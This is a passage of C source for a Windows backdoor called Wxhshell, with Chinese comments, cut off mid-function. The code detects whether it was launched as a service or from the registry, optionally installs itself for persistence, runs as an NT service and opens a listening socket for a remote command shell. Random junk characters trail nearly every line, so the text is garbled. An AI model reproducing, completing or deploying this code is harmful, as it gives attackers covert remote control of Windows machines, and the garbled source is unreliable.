} PROCESS_BASIC_INFORMATION; b5WtL+Z
z+IHt(
PROCNTQSIP NtQueryInformationProcess; O*%
1
7;0$UYDU*
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,m ^q>
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .3Ex=aQcX
^yLiyR e\
HANDLE hProcess; IJX75hE0g
PROCESS_BASIC_INFORMATION pbi; 'Pk14`/
F?"#1je
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |VC|@ Q
if(NULL == hInst ) return 0; fePt[U)2
9?M>Y?4
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P]V/<8o.53
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YT:])[gVV
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q6E8^7RtS@
7bcl^~lY
if (!NtQueryInformationProcess) return 0; ,c3gW2E
^\|Hz\"*
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D9.H<.|36
if(!hProcess) return 0; -<e8\ Z`
TNgf96)
y
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X{2))t%
r(qAe{
CloseHandle(hProcess); "p,TYjT?R
xnz(hz6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Th"0Cc)
if(hProcess==NULL) return 0; )1de<# qM
$:&?!>H
HMODULE hMod; "^?|=sQ
char procName[255]; U9N1)3/u
unsigned long cbNeeded; p\xi5z
h$\+r<
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IC5[:UZ5]
9hoTxWpmy
CloseHandle(hProcess); ?[Gj?D.Wc
M? 7CBqZ
if(strstr(procName,"services")) return 1; // 以服务启动 8&d s
r7dvj#^
return 0; // 注册表启动 +[W_Jz
} f+A!w8E
rID_^g_tP8
// 主模块 vpTYfE
int StartWxhshell(LPSTR lpCmdLine) 4(2iR0N
{ a-nf5w>&q
SOCKET wsl; ur*a!U
BOOL val=TRUE; |n9q4*dN
int port=0; /m>%=_nz
struct sockaddr_in door; _4!SO5T
~lg1S
if(wscfg.ws_autoins) Install(); <<Zt.!hS
J2tD).G
port=atoi(lpCmdLine); ^5BLuN6
o*\cV6
if(port<=0) port=wscfg.ws_port; 'VH%cz*
mn5mdrv3WZ
WSADATA data; >$^v@jf
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =^nb-9.
e G8Zn<:s
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;
RDFOUqS
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P1\:hh
door.sin_family = AF_INET; +Ndo$|XCy]
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;{@jj0h;
door.sin_port = htons(port); FPg5!O%
,ypD0Q
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4VPJv>^
closesocket(wsl); Y$tgz)
return 1; +A3Q$1F
} <4DSk9/
g)o?nAr
if(listen(wsl,2) == INVALID_SOCKET) { ,B^NH7A:
closesocket(wsl); hU3z4|~+
return 1; K@0gBgN
} :)cn&'l(S
Wxhshell(wsl); P:`tL)W_
WSACleanup(); e+_~a8 -|
^F}HWpF_
return 0; |Wo_5|E
~c;D@.e\
} NTj: +z0
N.j?:
// 以NT服务方式启动 ~\0uy3%
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ="M7F0k
{ 0O_acO4
DWORD status = 0; \I3={ii0
DWORD specificError = 0xfffffff; ]7#@lL;'0
\QpH~&QIS
serviceStatus.dwServiceType = SERVICE_WIN32; iJIDx9 )Z
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
*jAw
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vocXk_
serviceStatus.dwWin32ExitCode = 0; {{3n">s}:
serviceStatus.dwServiceSpecificExitCode = 0; fJjtrvNy)
serviceStatus.dwCheckPoint = 0; ow,4'f!d
serviceStatus.dwWaitHint = 0; muD7+rn?&
IV#kF}9$
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KINKq`Sx
if (hServiceStatusHandle==0) return; GpW5)a
e3|@H'~k
status = GetLastError(); VaLx- RX
if (status!=NO_ERROR) AX
{~A:B
{ %`o3YR
serviceStatus.dwCurrentState = SERVICE_STOPPED; k1EAmA
l
serviceStatus.dwCheckPoint = 0; "CS{fyJ
serviceStatus.dwWaitHint = 0; @A-*XJNS":
serviceStatus.dwWin32ExitCode = status; Iy2KOv@a5
serviceStatus.dwServiceSpecificExitCode = specificError; %Pz'D6
/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); f]P&>j|
return; d8Keyi8[
} O{B[iy(C
3]*_*<D
serviceStatus.dwCurrentState = SERVICE_RUNNING; 3`W=rIMli
serviceStatus.dwCheckPoint = 0; ]w)*8
w.)
serviceStatus.dwWaitHint = 0; @R!f(\
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EPY64{
} dWg09 sx
#D{jNSB
// 处理NT服务事件,比如:启动、停止 319 &:
VOID WINAPI NTServiceHandler(DWORD fdwControl) AqD)2O{VO
{ 8Z^9r/%*Z
switch(fdwControl) d#?.G3YmK
{ <